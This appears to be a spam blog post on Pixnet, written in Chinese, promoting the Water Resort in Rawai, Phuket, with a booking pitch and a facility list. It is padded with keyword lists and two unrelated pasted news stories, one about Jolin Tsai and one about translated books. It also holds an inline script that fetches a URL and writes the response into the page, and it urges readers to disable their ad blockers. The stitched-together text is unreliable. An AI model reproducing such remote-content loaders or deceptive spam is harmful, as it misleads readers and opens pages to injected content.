又到了跟老婆約定每年出國渡假的時候了
全球住宿比價網

可憐我的荷包又要大失血了~

為了排行程小弟可是耗費苦心啊

又要安排行程，還得預定住宿房間

不過今年就不用像以往那麼麻煩了

因為小弟找到了一家訂房網站，不但能訂房間

而且非常貼心的是還有旅客的住宿評價

就不怕因為訂到地雷旅館導致整個旅遊的心情大受影響了

像小弟這次訂的飯店是水之渡假村 - 拉威

價格還挺優的！品質也挺不錯！可以說是值回票價

水之渡假村 - 拉威 的介紹在下面

如果有興趣到這附近玩的，不妨可以在這訂房住看看喔！

PS.若您家裡有0~4歲的小朋友，點我進入索取免費《迪士尼美語世界試用包》

限量特優價格按鈕







商品訊息功能:

商品訊息描述:

主要設施

  • 53 間客房
  • 餐廳和池畔酒吧
  • 室外游泳池
  • 供應早餐
  • 免費區域接駁車
  • 健身中心
  • SPA 服務
  • 露台
  • 空調
  • 每日客房清潔服務
  • 櫃台保險箱
  • 洗衣服務

闔家歡樂

  • 免費搖籃/嬰兒床
  • 兒童游泳池
  • 折疊床/加床 (付費)
  • 冰箱
  • 獨立浴室
  • 付費電視頻道

鄰近景點

  • Tesco Lotus at Park Rawai (1.1 公里)
  • HomePro 村 (2 公里)
  • Home Pro Village - Phuket (2.1 公里)
  • Chalong Bay (2.4 公里)
  • 查隆碼頭 (2.4 公里)


商品訊息簡述:



水之渡假村 - 拉威 討論,推薦,開箱,CP值,熱賣,團購,便宜,優惠,介紹,排行,精選,特價,周年慶,體驗,限時

注意：下方具有隨時更新的隱藏版好康分享，請暫時關閉adblock之類的廣告過濾器才看的到哦!!



下面附上一則新聞讓大家了解時事

2017年02月經典23日 23:59



function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}

var theUrl = '';

document.write(httpGet(theUrl));

精品旅館記者劉宜庭／綜合報導

天后蔡依林（Jolin）日前飛往義大利，出席2017年秋冬米蘭時裝周，穿著藍白條紋短裙甜美亮相，毫不畏懼當地約10度低溫。她23日也曬出一系列照片，並開心和南韓女星秀智合影，「真的有初戀精選的感覺呢～。」

▲蔡依林米蘭時裝周合體秀智。（圖／翻攝自蔡依林臉書、秀智Instagram）住宿推薦親子

蔡依林23日晚間於臉書發文，分享首次現身米蘭時裝周時，所拍攝的一系列照片。畫面中，只見她穿著藍白相間條文洋裝，優雅踩著高跟鞋亮相，氣場十分強大，毫不畏懼約10度低溫，也不忘開玩笑說，「天氣一點都不冷發熱衣穿一件而已」。

▲蔡依林短裙亮相。（圖／翻攝自微博）



引人注意的是，蔡依林還遇見了南韓女星秀智，2大女神難得合體，並一起對著鏡頭開心合影，雙方也各自在社群網站上分享合照。由於秀智演出電影《建築學概論》後，被冠上「國民初戀」封號，令Jolin見到秀智後也不禁直呼，「碰到國民初戀秀智，真的有初戀的感覺呢～。」

▲蔡依林米蘭時裝周與秀智合影。（圖／翻攝自蔡依林臉書）



▲秀智優雅亮相。（圖／翻攝自秀智Instagram）



蔡依林與秀智合影曝光後，吸引大批網友留言大讚，「我都好愛」、「女神正翻了～時尚的代表」，同時也有不少粉絲留言力挺，「你才是我們的初戀」、「但我比較愛你」，在網路上引發不少討論。



旺報【記者李怡芸╱台北報導】

據台灣半官方機構的專案統計，去年台灣翻譯書中，大陸已是第3大來源，僅次於日本、美國。簡、繁體轉換看似靠電腦軟體就能搞定，事實上，就專業的出版編輯而言，繁簡轉換，或者地域性用語的保留、轉換，反而更考驗編輯的敏銳度和溝通力。

據初步的台灣翻譯書來源統計，近年台灣的翻譯書比重約在20%至25%之間，而大陸版書籍的引進，從市面流通販售或以店銷書來看，則大陸書的比重前者為12.2%，後者為11.2%，為台灣引進書的第3大來源，僅排在日本、美國之後。

讀者更重視好故事

去年底的誠品閱讀報告中指出，從暢銷書榜可知兩岸三地作者相互登陸已是趨勢。台灣的龍應台、蔣勳在港、陸都受歡迎，而台灣讀者也對大陸的張嘉佳、唐隱，香港的馬家輝、梁文道漸熟悉。以馬家輝的《龍頭鳳尾》而言，雖然香港、台灣都使用繁體中文，但行文間大量的港澳俗語，仍需要編輯作為橋樑進行轉換。

《龍頭鳳尾》台灣出版方，新經典文化總編葉美瑤指出，該書近日甫在「2016新浪好書榜」網友投票評選中，獲得人氣獎，由此可知地域化的語言特色並不會造成讀者的隔閡，「但前題是作者也要意識是為大眾而寫」；其次，編輯也要能充分掌握大眾讀者對其他語言的共鳴，葉美瑤表示：「我詢問了許多周邊的朋友，作為讀者的接受度。」事實證明讀者更重視的是好故事。

適時調整或保留方言

資深編輯陳穎青指出，即使同為華文，由簡轉繁的編輯功課仍不少，除了文字、習慣性用語不同需要加以「翻譯」，文學作品中刻意為之的方言，要讓讀者感受到生活感的「原汁原味」，又要能引起共鳴；編輯適時的調整或保留，合宜的註解，十分考驗編輯對讀者的掌握度。

2013年在台推出繁體版的《繁花》，作者金宇澄寫上海的庶民生活，語言即成為重要特色，如「不響」即保留，在其中出現了近千次；而上海話的「做面孔」、「面湯台」，編輯則一一註解為「做臉」、「洗臉台」。又如《龍頭鳳尾》人物對話「佢前幾日死撚◆」均如實呈現，而編輯另註解「撚，與屌、鳩、七等皆指男性生殖器。◆，表示動作完成，相當於『了』。本句意指：他前幾天死了。」

又如四川作協主席阿來獲茅盾文學獎的《塵埃落定》，雖是以漢語寫作卻有不少是藏語思維，在兩岸仍獲得好評與共鳴。葉美瑤表示，好的作品，編輯只要把「翻譯」橋樑架好，則「連《哈利波特》講魔法語言都沒問題，華文作品就更沒問題了。」

水之渡假村 - 拉威 推薦, 水之渡假村 - 拉威 討論, 水之渡假村 - 拉威 部落客, 水之渡假村 - 拉威 比較評比, 水之渡假村 - 拉威 使用評比, 水之渡假村 - 拉威 開箱文, 水之渡假村 - 拉威推薦, 水之渡假村 - 拉威 評測文, 水之渡假村 - 拉威 CP值, 水之渡假村 - 拉威 評鑑大隊, 水之渡假村 - 拉威 部落客推薦, 水之渡假村 - 拉威 好用嗎?, 水之渡假村 - 拉威 去哪買?


arrow
arrow
    文章標籤
    精選 經典 商旅 住宿推薦親子 言都沒
    全站熱搜

    dvvlhp7tj 發表在 痞客邦 留言(0) 人氣()